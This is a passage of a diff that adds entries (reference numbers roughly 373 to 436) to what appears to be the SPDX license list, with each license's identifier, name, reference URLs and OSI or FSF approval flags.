+ "licenseId": "LiLiQ-Rplus-1.1",
+ "seeAlso": [
+ "https://www.forge.gouv.qc.ca/participez/licence-logicielle/licence-libre-du-quebec-liliq-en-francais/licence-libre-du-quebec-reciprocite-forte-liliq-r-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-Rplus-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NOSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NOSL.json",
+ "referenceNumber": 373,
+ "name": "Netizen Open Source License",
+ "licenseId": "NOSL",
+ "seeAlso": [
+ "http://bits.netizen.com.au/licenses/NOSL/nosl.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SMLNJ.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SMLNJ.json",
+ "referenceNumber": 374,
+ "name": "Standard ML of New Jersey License",
+ "licenseId": "SMLNJ",
+ "seeAlso": [
+ "https://www.smlnj.org/license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0+.json",
+ "referenceNumber": 375,
+ "name": "GNU Lesser General Public License v3.0 or later",
+ "licenseId": "LGPL-3.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPAL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPAL-1.0.json",
+ "referenceNumber": 376,
+ "name": "Common Public Attribution License 1.0",
+ "licenseId": "CPAL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CPAL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/PSF-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PSF-2.0.json",
+ "referenceNumber": 377,
+ "name": "Python Software Foundation License 2.0",
+ "licenseId": "PSF-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Python-2.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPL-1.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPL-1.5.json",
+ "referenceNumber": 378,
+ "name": "Reciprocal Public License 1.5",
+ "licenseId": "RPL-1.5",
+ "seeAlso": [
+ "https://opensource.org/licenses/RPL-1.5"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-FreeBSD.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-FreeBSD.json",
+ "referenceNumber": 379,
+ "name": "BSD 2-Clause FreeBSD License",
+ "licenseId": "BSD-2-Clause-FreeBSD",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/freebsd-license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-Modern-Variant.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-Modern-Variant.json",
+ "referenceNumber": 380,
+ "name": "MIT License Modern Variant",
+ "licenseId": "MIT-Modern-Variant",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:MIT#Modern_Variants",
+ "https://ptolemy.berkeley.edu/copyright.htm",
+ "https://pirlwww.lpl.arizona.edu/resources/guide/software/PerlTk/Tixlic.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Nokia.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Nokia.json",
+ "referenceNumber": 381,
+ "name": "Nokia Open Source License",
+ "licenseId": "Nokia",
+ "seeAlso": [
+ "https://opensource.org/licenses/nokia"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-no-invariants-only.json",
+ "referenceNumber": 382,
+ "name": "GNU Free Documentation License v1.1 only - no invariants",
+ "licenseId": "GFDL-1.1-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PDDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PDDL-1.0.json",
+ "referenceNumber": 383,
+ "name": "Open Data Commons Public Domain Dedication \u0026 License 1.0",
+ "licenseId": "PDDL-1.0",
+ "seeAlso": [
+ "http://opendatacommons.org/licenses/pddl/1.0/",
+ "https://opendatacommons.org/licenses/pddl/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.0.json",
+ "referenceNumber": 384,
+ "name": "European Union Public License 1.0",
+ "licenseId": "EUPL-1.0",
+ "seeAlso": [
+ "http://ec.europa.eu/idabc/en/document/7330.html",
+ "http://ec.europa.eu/idabc/servlets/Doc027f.pdf?id\u003d31096"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDDL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDDL-1.1.json",
+ "referenceNumber": 385,
+ "name": "Common Development and Distribution License 1.1",
+ "licenseId": "CDDL-1.1",
+ "seeAlso": [
+ "http://glassfish.java.net/public/CDDL+GPL_1_1.html",
+ "https://javaee.github.io/glassfish/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-only.json",
+ "referenceNumber": 386,
+ "name": "GNU Free Documentation License v1.3 only",
+ "licenseId": "GFDL-1.3-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.6.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.6.json",
+ "referenceNumber": 387,
+ "name": "Open LDAP Public License v2.6",
+ "licenseId": "OLDAP-2.6",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d1cae062821881f41b73012ba816434897abf4205"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/JSON.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JSON.json",
+ "referenceNumber": 388,
+ "name": "JSON License",
+ "licenseId": "JSON",
+ "seeAlso": [
+ "http://www.json.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0-or-later.json",
+ "referenceNumber": 389,
+ "name": "GNU Lesser General Public License v3.0 or later",
+ "licenseId": "LGPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0.json",
+ "referenceNumber": 390,
+ "name": "GNU General Public License v3.0 only",
+ "licenseId": "GPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Fair.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Fair.json",
+ "referenceNumber": 391,
+ "name": "Fair License",
+ "licenseId": "Fair",
+ "seeAlso": [
+ "http://fairlicense.org/",
+ "https://opensource.org/licenses/Fair"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-font-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-font-exception.json",
+ "referenceNumber": 392,
+ "name": "GNU General Public License v2.0 w/Font exception",
+ "licenseId": "GPL-2.0-with-font-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-faq.html#FontException"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-2.1.json",
+ "referenceNumber": 393,
+ "name": "Open Software License 2.1",
+ "licenseId": "OSL-2.1",
+ "seeAlso": [
+ "http://web.archive.org/web/20050212003940/http://www.rosenlaw.com/osl21.htm",
+ "https://opensource.org/licenses/OSL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.3a.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.3a.json",
+ "referenceNumber": 394,
+ "name": "LaTeX Project Public License v1.3a",
+ "licenseId": "LPPL-1.3a",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-3a.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NAIST-2003.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NAIST-2003.json",
+ "referenceNumber": 395,
+ "name": "Nara Institute of Science and Technology License (2003)",
+ "licenseId": "NAIST-2003",
+ "seeAlso": [
+ "https://enterprise.dejacode.com/licenses/public/naist-2003/#license-text",
+ "https://github.com/nodejs/node/blob/4a19cc8947b1bba2b2d27816ec3d0edf9b28e503/LICENSE#L343"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-4.0.json",
+ "referenceNumber": 396,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 4.0 International",
+ "licenseId": "CC-BY-NC-ND-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-3.0-DE.json",
+ "referenceNumber": 397,
+ "name": "Creative Commons Attribution Non Commercial 3.0 Germany",
+ "licenseId": "CC-BY-NC-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1+.json",
+ "referenceNumber": 398,
+ "name": "GNU Library General Public License v2.1 or later",
+ "licenseId": "LGPL-2.1+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OPL-1.0.json",
+ "referenceNumber": 399,
+ "name": "Open Public License v1.0",
+ "licenseId": "OPL-1.0",
+ "seeAlso": [
+ "http://old.koalateam.com/jackaroo/OPL_1_0.TXT",
+ "https://fedoraproject.org/wiki/Licensing/Open_Public_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/HPND-sell-variant.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HPND-sell-variant.json",
+ "referenceNumber": 400,
+ "name": "Historical Permission Notice and Disclaimer - sell variant",
+ "licenseId": "HPND-sell-variant",
+ "seeAlso": [
+ "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/sunrpc/auth_gss/gss_generic_token.c?h\u003dv4.19"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/QPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/QPL-1.0.json",
+ "referenceNumber": 401,
+ "name": "Q Public License 1.0",
+ "licenseId": "QPL-1.0",
+ "seeAlso": [
+ "http://doc.qt.nokia.com/3.3/license.html",
+ "https://opensource.org/licenses/QPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.2.json",
+ "referenceNumber": 402,
+ "name": "European Union Public License 1.2",
+ "licenseId": "EUPL-1.2",
+ "seeAlso": [
+ "https://joinup.ec.europa.eu/page/eupl-text-11-12",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/eupl_v1.2_en.pdf",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/2020-03/EUPL-1.2%20EN.txt",
+ "https://joinup.ec.europa.eu/sites/default/files/inline-files/EUPL%20v1_2%20EN(1).txt",
+ "http://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri\u003dCELEX:32017D0863",
+ "https://opensource.org/licenses/EUPL-1.2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-no-invariants-or-later.json",
+ "referenceNumber": 403,
+ "name": "GNU Free Documentation License v1.2 or later - no invariants",
+ "licenseId": "GFDL-1.2-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/eCos-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/eCos-2.0.json",
+ "referenceNumber": 404,
+ "name": "eCos license version 2.0",
+ "licenseId": "eCos-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/ecos-license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NCGL-UK-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NCGL-UK-2.0.json",
+ "referenceNumber": 405,
+ "name": "Non-Commercial Government Licence",
+ "licenseId": "NCGL-UK-2.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/non-commercial-government-licence/version/2/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Beerware.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Beerware.json",
+ "referenceNumber": 406,
+ "name": "Beerware License",
+ "licenseId": "Beerware",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Beerware",
+ "https://people.freebsd.org/~phk/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Open-MPI.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Open-MPI.json",
+ "referenceNumber": 407,
+ "name": "BSD 3-Clause Open MPI variant",
+ "licenseId": "BSD-3-Clause-Open-MPI",
+ "seeAlso": [
+ "https://www.open-mpi.org/community/license.php",
+ "http://www.netlib.org/lapack/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-bison-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-bison-exception.json",
+ "referenceNumber": 408,
+ "name": "GNU General Public License v2.0 w/Bison exception",
+ "licenseId": "GPL-2.0-with-bison-exception",
+ "seeAlso": [
+ "http://git.savannah.gnu.org/cgit/bison.git/tree/data/yacc.c?id\u003d193d7c7054ba7197b0789e14965b739162319b5e#n141"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-B.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-B.json",
+ "referenceNumber": 409,
+ "name": "CeCILL-B Free Software License Agreement",
+ "licenseId": "CECILL-B",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-autoconf-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-autoconf-exception.json",
+ "referenceNumber": 410,
+ "name": "GNU General Public License v2.0 w/Autoconf exception",
+ "licenseId": "GPL-2.0-with-autoconf-exception",
+ "seeAlso": [
+ "http://ac-archive.sourceforge.net/doc/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPL-2.0.json",
+ "referenceNumber": 411,
+ "name": "Eclipse Public License 2.0",
+ "licenseId": "EPL-2.0",
+ "seeAlso": [
+ "https://www.eclipse.org/legal/epl-2.0",
+ "https://www.opensource.org/licenses/EPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-feh.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-feh.json",
+ "referenceNumber": 412,
+ "name": "feh License",
+ "licenseId": "MIT-feh",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#feh"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPL-1.1.json",
+ "referenceNumber": 413,
+ "name": "Reciprocal Public License 1.1",
+ "licenseId": "RPL-1.1",
+ "seeAlso": [
+ "https://opensource.org/licenses/RPL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Permissive-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Permissive-1.0.json",
+ "referenceNumber": 414,
+ "name": "Community Data License Agreement Permissive 1.0",
+ "licenseId": "CDLA-Permissive-1.0",
+ "seeAlso": [
+ "https://cdla.io/permissive-1-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Python-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Python-2.0.json",
+ "referenceNumber": 415,
+ "name": "Python License 2.0",
+ "licenseId": "Python-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Python-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-1.0.json",
+ "referenceNumber": 416,
+ "name": "Mozilla Public License 1.0",
+ "licenseId": "MPL-1.0",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/MPL-1.0.html",
+ "https://opensource.org/licenses/MPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-or-later.json",
+ "referenceNumber": 417,
+ "name": "GNU Free Documentation License v1.1 or later",
+ "licenseId": "GFDL-1.1-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/diffmark.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/diffmark.json",
+ "referenceNumber": 418,
+ "name": "diffmark license",
+ "licenseId": "diffmark",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/diffmark"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0+.json",
+ "referenceNumber": 419,
+ "name": "GNU General Public License v1.0 or later",
+ "licenseId": "GPL-1.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OpenSSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OpenSSL.json",
+ "referenceNumber": 420,
+ "name": "OpenSSL License",
+ "licenseId": "OpenSSL",
+ "seeAlso": [
+ "http://www.openssl.org/source/license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-1.0.json",
+ "referenceNumber": 421,
+ "name": "Open Software License 1.0",
+ "licenseId": "OSL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/OSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Parity-6.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Parity-6.0.0.json",
+ "referenceNumber": 422,
+ "name": "The Parity Public License 6.0.0",
+ "licenseId": "Parity-6.0.0",
+ "seeAlso": [
+ "https://paritylicense.com/versions/6.0.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0.json",
+ "referenceNumber": 423,
+ "name": "Affero General Public License v1.0",
+ "licenseId": "AGPL-1.0",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/YPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/YPL-1.1.json",
+ "referenceNumber": 424,
+ "name": "Yahoo! Public License v1.1",
+ "licenseId": "YPL-1.1",
+ "seeAlso": [
+ "http://www.zimbra.com/license/yahoo_public_license_1.1.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSH-short.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSH-short.json",
+ "referenceNumber": 425,
+ "name": "SSH short notice",
+ "licenseId": "SSH-short",
+ "seeAlso": [
+ "https://github.com/openssh/openssh-portable/blob/1b11ea7c58cd5c59838b5fa574cd456d6047b2d4/pathnames.h",
+ "http://web.mit.edu/kolya/.f/root/athena.mit.edu/sipb.mit.edu/project/openssh/OldFiles/src/openssh-2.9.9p2/ssh-add.1",
+ "https://joinup.ec.europa.eu/svn/lesoll/trunk/italc/lib/src/dsa_key.cpp"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IBM-pibs.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IBM-pibs.json",
+ "referenceNumber": 426,
+ "name": "IBM PowerPC Initialization and Boot Software",
+ "licenseId": "IBM-pibs",
+ "seeAlso": [
+ "http://git.denx.de/?p\u003du-boot.git;a\u003dblob;f\u003darch/powerpc/cpu/ppc4xx/miiphy.c;h\u003d297155fdafa064b955e53e9832de93bfb0cfb85b;hb\u003d9fab4bf4cc077c21e43941866f3f2c196f28670d"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Xnet.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Xnet.json",
+ "referenceNumber": 427,
+ "name": "X.Net License",
+ "licenseId": "Xnet",
+ "seeAlso": [
+ "https://opensource.org/licenses/Xnet"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TU-Berlin-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TU-Berlin-1.0.json",
+ "referenceNumber": 428,
+ "name": "Technische Universitaet Berlin License 1.0",
+ "licenseId": "TU-Berlin-1.0",
+ "seeAlso": [
+ "https://github.com/swh/ladspa/blob/7bf6f3799fdba70fda297c2d8fd9f526803d9680/gsm/COPYRIGHT"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0.json",
+ "referenceNumber": 429,
+ "name": "GNU Affero General Public License v3.0",
+ "licenseId": "AGPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CAL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CAL-1.0.json",
+ "referenceNumber": 430,
+ "name": "Cryptographic Autonomy License 1.0",
+ "licenseId": "CAL-1.0",
+ "seeAlso": [
+ "http://cryptographicautonomylicense.com/license-text.html",
+ "https://opensource.org/licenses/CAL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-3.0.json",
+ "referenceNumber": 431,
+ "name": "Academic Free License v3.0",
+ "licenseId": "AFL-3.0",
+ "seeAlso": [
+ "http://www.rosenlaw.com/AFL3.0.htm",
+ "https://opensource.org/licenses/afl-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-C.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-C.json",
+ "referenceNumber": 432,
+ "name": "CeCILL-C Free Software License Agreement",
+ "licenseId": "CECILL-C",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL-C_V1-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-3.0.json",
+ "referenceNumber": 433,
+ "name": "Open Government Licence v3.0",
+ "licenseId": "OGL-UK-3.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Clear.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Clear.json",
+ "referenceNumber": 434,
+ "name": "BSD 3-Clause Clear License",
+ "licenseId": "BSD-3-Clause-Clear",
+ "seeAlso": [
+ "http://labs.metacarta.com/license-explanation.html#license"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Modification.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Modification.json",
+ "referenceNumber": 435,
+ "name": "BSD 3-Clause Modification",
+ "licenseId": "BSD-3-Clause-Modification",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:BSD#Modification_Variant"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.0-UK.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.0-UK.json",
+ "referenceNumber": 436,
+ "name": "Creative Commons Attribution Share Alike 2.0 England and Wales",
